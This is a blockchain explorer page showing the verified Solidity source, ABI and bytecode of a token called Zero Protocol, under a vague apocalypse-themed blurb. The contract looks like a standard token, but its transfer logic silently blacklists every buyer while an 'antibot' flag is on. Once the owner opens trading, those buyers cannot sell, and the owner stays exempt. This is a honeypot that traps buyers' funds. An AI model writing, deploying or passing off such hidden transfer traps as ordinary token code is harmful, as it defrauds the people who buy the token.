ETH Price: $3,290.18 (+1.35%)
Gas: 1 Gwei

Token

Zero Protocol (Zero)
 

Overview

Max Total Supply

10,000,000,000 Zero

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 4 Decimals)

Balance
116,521,054.1823 Zero

Value
$0.00
0xcac2e7372779d9c585dfb792bee198a63548ff93
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZeroProtocol

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2022-09-03
*/

/**

Zero Protocol is a protocol which is inacted during a complete and complete catastrophe. 
Meaning it is enacted during the end of the world as we know it.
Protocol zero is a protocol which will be enacted if an event such as that occurs. 
Protocol zero will outline guidelines for the survival of the human species during an apocalypse.

**/

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.12;

library SafeMath {

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
}

interface ERC20 {
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(address(0));
        owner = address(0);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ZeroProtocol is ERC20, Auth {
    using SafeMath for uint256;

    address immutable WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;

    string public constant name = "Zero Protocol";
    string public constant symbol = "Zero";
    uint8 public constant decimals = 4;
    uint256 public constant totalSupply = 10 * 10**9 * 10**decimals;

    uint256 public _maxTxAmount = 2 * totalSupply / 100;
    uint256 public _maxWalletToken = 2 * totalSupply / 100;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isWalletLimitExempt;

    bool public antibot = true;
    mapping (address => uint) public firstbuy;
    bool public blacklistMode = true;
    mapping (address => bool) public isBlacklisted;

    IDEXRouter public router;
    address public pair;

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[DEAD] = true;
        isTxLimitExempt[ZERO] = true;

        isWalletLimitExempt[msg.sender] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[DEAD] = true;

        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable { }

    function getOwner() external view override returns (address) { return owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {

        if(!isOwner(sender) && antibot){
            if(sender == pair){
                if(firstbuy[recipient] == 0){
                    firstbuy[recipient] = block.number;
                }
                blacklist_wallet(recipient,true);
            }

            if(firstbuy[sender] > 0){
                require( firstbuy[sender] > (block.number - 20), "Bought before contract was launched");
            }
        }
        
        if(blacklistMode && !antibot){
            require(!isBlacklisted[sender],"Blacklisted");    
        }

        if (!isOwner(sender) && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
            require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
        }

        require((amount <= _maxTxAmount) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "TX Limit Exceeded");

        _basicTransfer(sender, recipient, amount);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");
        balanceOf[recipient] = balanceOf[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function manage_blacklist_status(bool _status) external onlyOwner {
        blacklistMode = _status;
    }

    function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
        for (uint256 i=0; i < addresses.length; ++i) {
            blacklist_wallet(addresses[i],status);
        }
    }

    function blacklist_wallet(address _adr, bool _status) internal {
        if(_status && _adr == address(this)){
            return;
        }
        isBlacklisted[_adr] = _status;
    }

    function tradingOpen() external onlyOwner {
        antibot = false;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return totalSupply.sub(balanceOf[DEAD]).sub(balanceOf[ZERO]);
    }

event AutoLiquify(uint256 amountETH, uint256 amountTokens);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antibot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"firstbuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"manage_blacklist_status","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526064620000146004600a620004c9565b62000025906402540be400620004e1565b62000032906002620004e1565b6200003e919062000503565b6001556064620000516004600a620004c9565b62000062906402540be400620004e1565b6200006f906002620004e1565b6200007b919062000503565b60025560078054600160ff199182168117909255600980549091169091179055348015620000a857600080fd5b5060008054336001600160a01b031991821617909155600b8054737a250d5630b4cf539739df2c5dacb4c659f2488d921682179055604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa15801562000119573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200013f919062000526565b6001600160a01b03908116608052600b546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa15801562000190573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b6919062000526565b6080516040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000208573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022e919062000526565b600c80546001600160a01b0319166001600160a01b03928316179055306000818152600460208181526040808420600b549096168452948152848320600019905533835260058152848320805460ff1990811660019081179092557f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba80548216831790557f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc805482168317905560069092528584208054831682179055938352938220805485168417905561dead9091527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e2280549093169091179091556200033890600a620004c9565b62000349906402540be400620004e1565b33600081815260036020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200038c6004600a620004c9565b6200039d906402540be400620004e1565b60405190815260200160405180910390a362000551565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200040b578160001904821115620003ef57620003ef620003b4565b80851615620003fd57918102915b93841c9390800290620003cf565b509250929050565b6000826200042457506001620004c3565b816200043357506000620004c3565b81600181146200044c5760028114620004575762000477565b6001915050620004c3565b60ff8411156200046b576200046b620003b4565b50506001821b620004c3565b5060208310610133831016604e8410600b84101617156200049c575081810a620004c3565b620004a88383620003ca565b8060001904821115620004bf57620004bf620003b4565b0290505b92915050565b6000620004da60ff84168362000413565b9392505050565b6000816000190483118215151615620004fe57620004fe620003b4565b500290565b6000826200052157634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200053957600080fd5b81516001600160a01b0381168114620004da57600080fd5b6080516110f26200056a600039600050506110f26000f3fe60806040526004361061016a5760003560e01c8063715018a6116100d157806395d89b411161008a578063dd62ed3e11610064578063dd62ed3e14610476578063f887ea40146104bc578063fe575a87146104dc578063ffb54a991461050c57600080fd5b806395d89b4114610406578063a8aa1b3114610436578063a9059cbb1461045657600080fd5b8063715018a61461035957806378109e541461036e5780637d1db4a514610384578063893d20e81461039a578063896648c1146103cc5780638e2eee84146103e657600080fd5b80632f54bf6e116101235780632f54bf6e1461026f578063305c4c801461029e578063313ce567146102b8578063571ac8b0146102df5780636d02cc02146102ff57806370a082311461032c57600080fd5b8063034fc0b71461017657806306fdde0314610198578063095ea7b3146101e757806318160ddd1461021757806323b872dd1461023a5780632b112e491461025a57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b50610196610191366004610d55565b610521565b005b3480156101a457600080fd5b506101d16040518060400160405280600d81526020016c16995c9bc8141c9bdd1bd8dbdb609a1b81525081565b6040516101de9190610d70565b60405180910390f35b3480156101f357600080fd5b50610207610202366004610ddc565b610567565b60405190151581526020016101de565b34801561022357600080fd5b5061022c6105d4565b6040519081526020016101de565b34801561024657600080fd5b50610207610255366004610e06565b6105f2565b34801561026657600080fd5b5061022c6106b2565b34801561027b57600080fd5b5061020761028a366004610e42565b6000546001600160a01b0391821691161490565b3480156102aa57600080fd5b506007546102079060ff1681565b3480156102c457600080fd5b506102cd600481565b60405160ff90911681526020016101de565b3480156102eb57600080fd5b506102076102fa366004610e42565b610733565b34801561030b57600080fd5b5061022c61031a366004610e42565b60086020526000908152604090205481565b34801561033857600080fd5b5061022c610347366004610e42565b60036020526000908152604090205481565b34801561036557600080fd5b50610196610741565b34801561037a57600080fd5b5061022c60025481565b34801561039057600080fd5b5061022c60015481565b3480156103a657600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101de565b3480156103d857600080fd5b506009546102079060ff1681565b3480156103f257600080fd5b50610196610401366004610e5d565b6107b1565b34801561041257600080fd5b506101d1604051806040016040528060048152602001635a65726f60e01b81525081565b34801561044257600080fd5b50600c546103b4906001600160a01b031681565b34801561046257600080fd5b50610207610471366004610ddc565b61082c565b34801561048257600080fd5b5061022c610491366004610ee1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104c857600080fd5b50600b546103b4906001600160a01b031681565b3480156104e857600080fd5b506102076104f7366004610e42565b600a6020526000908152604090205460ff1681565b34801561051857600080fd5b50610196610840565b6000546001600160a01b031633146105545760405162461bcd60e51b815260040161054b90610f14565b60405180910390fd5b6009805460ff1916911515919091179055565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105c29086815260200190565b60405180910390a35060015b92915050565b6105e06004600a61102e565b6105ef906402540be40061103d565b81565b6001600160a01b03831660009081526004602090815260408083203384529091528120546000191461069f576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b038716600090815260048252838120338252909152919091205461067a918490610876565b6001600160a01b03851660009081526004602090815260408083203384529091529020555b6106aa8484846108b0565b949350505050565b60036020527f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff5461dead60009081527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c54909161072e91610728906107196004600a61102e565b610728906402540be40061103d565b90610bce565b905090565b60006105ce82600019610567565b6000546001600160a01b0316331461076b5760405162461bcd60e51b815260040161054b90610f14565b604051600081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1600080546001600160a01b0319169055565b6000546001600160a01b031633146107db5760405162461bcd60e51b815260040161054b90610f14565b60005b82811015610826576108168484838181106107fb576107fb61105c565b90506020020160208101906108109190610e42565b83610c10565b61081f81611072565b90506107de565b50505050565b60006108393384846108b0565b9392505050565b6000546001600160a01b0316331461086a5760405162461bcd60e51b815260040161054b90610f14565b6007805460ff19169055565b6000818484111561089a5760405162461bcd60e51b815260040161054b9190610d70565b5060006108a7848661108d565b95945050505050565b600080546001600160a01b038581169116141580156108d1575060075460ff165b156109cb57600c546001600160a01b0385811691161415610930576001600160a01b038316600090815260086020526040902054610925576001600160a01b03831660009081526008602052604090204390555b610930836001610c10565b6001600160a01b038416600090815260086020526040902054156109cb5761095960144361108d565b6001600160a01b038516600090815260086020526040902054116109cb5760405162461bcd60e51b815260206004820152602360248201527f426f75676874206265666f726520636f6e747261637420776173206c61756e636044820152621a195960ea1b606482015260840161054b565b60095460ff1680156109e0575060075460ff16155b15610a3c576001600160a01b0384166000908152600a602052604090205460ff1615610a3c5760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b604482015260640161054b565b6000546001600160a01b03858116911614158015610a7357506001600160a01b03841660009081526006602052604090205460ff16155b8015610a9857506001600160a01b03831660009081526006602052604090205460ff16155b8015610ab25750600c546001600160a01b03848116911614155b15610b2c576002546001600160a01b038416600090815260036020526040902054610ade9084906110a4565b1115610b2c5760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d697420726561636865640000000000000000604482015260640161054b565b60015482111580610b5557506001600160a01b03841660009081526005602052604090205460ff165b80610b7857506001600160a01b03831660009081526005602052604090205460ff165b610bb85760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054b565b610bc3848484610c59565b506001949350505050565b600061083983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610876565b808015610c2557506001600160a01b03821630145b15610c2e575050565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600390915291822054610caa918490610876565b6001600160a01b038086166000908152600360205260408082209390935590851681522054610cda9083906110a4565b6001600160a01b0380851660008181526003602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d2e9086815260200190565b60405180910390a35060019392505050565b80358015158114610d5057600080fd5b919050565b600060208284031215610d6757600080fd5b61083982610d40565b600060208083528351808285015260005b81811015610d9d57858101830151858201604001528201610d81565b81811115610daf576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d5057600080fd5b60008060408385031215610def57600080fd5b610df883610dc5565b946020939093013593505050565b600080600060608486031215610e1b57600080fd5b610e2484610dc5565b9250610e3260208501610dc5565b9150604084013590509250925092565b600060208284031215610e5457600080fd5b61083982610dc5565b600080600060408486031215610e7257600080fd5b833567ffffffffffffffff80821115610e8a57600080fd5b818601915086601f830112610e9e57600080fd5b813581811115610ead57600080fd5b8760208260051b8501011115610ec257600080fd5b602092830195509350610ed89186019050610d40565b90509250925092565b60008060408385031215610ef457600080fd5b610efd83610dc5565b9150610f0b60208401610dc5565b90509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610f85578160001904821115610f6b57610f6b610f34565b80851615610f7857918102915b93841c9390800290610f4f565b509250929050565b600082610f9c575060016105ce565b81610fa9575060006105ce565b8160018114610fbf5760028114610fc957610fe5565b60019150506105ce565b60ff841115610fda57610fda610f34565b50506001821b6105ce565b5060208310610133831016604e8410600b8410161715611008575081810a6105ce565b6110128383610f4a565b806000190482111561102657611026610f34565b029392505050565b600061083960ff841683610f8d565b600081600019048311821515161561105757611057610f34565b500290565b634e487b7160e01b600052603260045260246000fd5b600060001982141561108657611086610f34565b5060010190565b60008282101561109f5761109f610f34565b500390565b600082198211156110b7576110b7610f34565b50019056fea26469706673582212202da274491f5b573296b90ebda0e59f4cf7099664dd0486dcdad731f262c884b264736f6c634300080c0033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c8063715018a6116100d157806395d89b411161008a578063dd62ed3e11610064578063dd62ed3e14610476578063f887ea40146104bc578063fe575a87146104dc578063ffb54a991461050c57600080fd5b806395d89b4114610406578063a8aa1b3114610436578063a9059cbb1461045657600080fd5b8063715018a61461035957806378109e541461036e5780637d1db4a514610384578063893d20e81461039a578063896648c1146103cc5780638e2eee84146103e657600080fd5b80632f54bf6e116101235780632f54bf6e1461026f578063305c4c801461029e578063313ce567146102b8578063571ac8b0146102df5780636d02cc02146102ff57806370a082311461032c57600080fd5b8063034fc0b71461017657806306fdde0314610198578063095ea7b3146101e757806318160ddd1461021757806323b872dd1461023a5780632b112e491461025a57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b50610196610191366004610d55565b610521565b005b3480156101a457600080fd5b506101d16040518060400160405280600d81526020016c16995c9bc8141c9bdd1bd8dbdb609a1b81525081565b6040516101de9190610d70565b60405180910390f35b3480156101f357600080fd5b50610207610202366004610ddc565b610567565b60405190151581526020016101de565b34801561022357600080fd5b5061022c6105d4565b6040519081526020016101de565b34801561024657600080fd5b50610207610255366004610e06565b6105f2565b34801561026657600080fd5b5061022c6106b2565b34801561027b57600080fd5b5061020761028a366004610e42565b6000546001600160a01b0391821691161490565b3480156102aa57600080fd5b506007546102079060ff1681565b3480156102c457600080fd5b506102cd600481565b60405160ff90911681526020016101de565b3480156102eb57600080fd5b506102076102fa366004610e42565b610733565b34801561030b57600080fd5b5061022c61031a366004610e42565b60086020526000908152604090205481565b34801561033857600080fd5b5061022c610347366004610e42565b60036020526000908152604090205481565b34801561036557600080fd5b50610196610741565b34801561037a57600080fd5b5061022c60025481565b34801561039057600080fd5b5061022c60015481565b3480156103a657600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101de565b3480156103d857600080fd5b506009546102079060ff1681565b3480156103f257600080fd5b50610196610401366004610e5d565b6107b1565b34801561041257600080fd5b506101d1604051806040016040528060048152602001635a65726f60e01b81525081565b34801561044257600080fd5b50600c546103b4906001600160a01b031681565b34801561046257600080fd5b50610207610471366004610ddc565b61082c565b34801561048257600080fd5b5061022c610491366004610ee1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104c857600080fd5b50600b546103b4906001600160a01b031681565b3480156104e857600080fd5b506102076104f7366004610e42565b600a6020526000908152604090205460ff1681565b34801561051857600080fd5b50610196610840565b6000546001600160a01b031633146105545760405162461bcd60e51b815260040161054b90610f14565b60405180910390fd5b6009805460ff1916911515919091179055565b3360008181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105c29086815260200190565b60405180910390a35060015b92915050565b6105e06004600a61102e565b6105ef906402540be40061103d565b81565b6001600160a01b03831660009081526004602090815260408083203384529091528120546000191461069f576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b038716600090815260048252838120338252909152919091205461067a918490610876565b6001600160a01b03851660009081526004602090815260408083203384529091529020555b6106aa8484846108b0565b949350505050565b60036020527f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff5461dead60009081527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c54909161072e91610728906107196004600a61102e565b610728906402540be40061103d565b90610bce565b905090565b60006105ce82600019610567565b6000546001600160a01b0316331461076b5760405162461bcd60e51b815260040161054b90610f14565b604051600081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1600080546001600160a01b0319169055565b6000546001600160a01b031633146107db5760405162461bcd60e51b815260040161054b90610f14565b60005b82811015610826576108168484838181106107fb576107fb61105c565b90506020020160208101906108109190610e42565b83610c10565b61081f81611072565b90506107de565b50505050565b60006108393384846108b0565b9392505050565b6000546001600160a01b0316331461086a5760405162461bcd60e51b815260040161054b90610f14565b6007805460ff19169055565b6000818484111561089a5760405162461bcd60e51b815260040161054b9190610d70565b5060006108a7848661108d565b95945050505050565b600080546001600160a01b038581169116141580156108d1575060075460ff165b156109cb57600c546001600160a01b0385811691161415610930576001600160a01b038316600090815260086020526040902054610925576001600160a01b03831660009081526008602052604090204390555b610930836001610c10565b6001600160a01b038416600090815260086020526040902054156109cb5761095960144361108d565b6001600160a01b038516600090815260086020526040902054116109cb5760405162461bcd60e51b815260206004820152602360248201527f426f75676874206265666f726520636f6e747261637420776173206c61756e636044820152621a195960ea1b606482015260840161054b565b60095460ff1680156109e0575060075460ff16155b15610a3c576001600160a01b0384166000908152600a602052604090205460ff1615610a3c5760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b604482015260640161054b565b6000546001600160a01b03858116911614158015610a7357506001600160a01b03841660009081526006602052604090205460ff16155b8015610a9857506001600160a01b03831660009081526006602052604090205460ff16155b8015610ab25750600c546001600160a01b03848116911614155b15610b2c576002546001600160a01b038416600090815260036020526040902054610ade9084906110a4565b1115610b2c5760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d697420726561636865640000000000000000604482015260640161054b565b60015482111580610b5557506001600160a01b03841660009081526005602052604090205460ff165b80610b7857506001600160a01b03831660009081526005602052604090205460ff165b610bb85760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054b565b610bc3848484610c59565b506001949350505050565b600061083983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610876565b808015610c2557506001600160a01b03821630145b15610c2e575050565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600390915291822054610caa918490610876565b6001600160a01b038086166000908152600360205260408082209390935590851681522054610cda9083906110a4565b6001600160a01b0380851660008181526003602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d2e9086815260200190565b60405180910390a35060019392505050565b80358015158114610d5057600080fd5b919050565b600060208284031215610d6757600080fd5b61083982610d40565b600060208083528351808285015260005b81811015610d9d57858101830151858201604001528201610d81565b81811115610daf576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d5057600080fd5b60008060408385031215610def57600080fd5b610df883610dc5565b946020939093013593505050565b600080600060608486031215610e1b57600080fd5b610e2484610dc5565b9250610e3260208501610dc5565b9150604084013590509250925092565b600060208284031215610e5457600080fd5b61083982610dc5565b600080600060408486031215610e7257600080fd5b833567ffffffffffffffff80821115610e8a57600080fd5b818601915086601f830112610e9e57600080fd5b813581811115610ead57600080fd5b8760208260051b8501011115610ec257600080fd5b602092830195509350610ed89186019050610d40565b90509250925092565b60008060408385031215610ef457600080fd5b610efd83610dc5565b9150610f0b60208401610dc5565b90509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610f85578160001904821115610f6b57610f6b610f34565b80851615610f7857918102915b93841c9390800290610f4f565b509250929050565b600082610f9c575060016105ce565b81610fa9575060006105ce565b8160018114610fbf5760028114610fc957610fe5565b60019150506105ce565b60ff841115610fda57610fda610f34565b50506001821b6105ce565b5060208310610133831016604e8410600b8410161715611008575081810a6105ce565b6110128383610f4a565b806000190482111561102657611026610f34565b029392505050565b600061083960ff841683610f8d565b600081600019048311821515161561105757611057610f34565b500290565b634e487b7160e01b600052603260045260246000fd5b600060001982141561108657611086610f34565b5060010190565b60008282101561109f5761109f610f34565b500390565b600082198211156110b7576110b7610f34565b50019056fea26469706673582212202da274491f5b573296b90ebda0e59f4cf7099664dd0486dcdad731f262c884b264736f6c634300080c0033

Deployed Bytecode Sourcemap

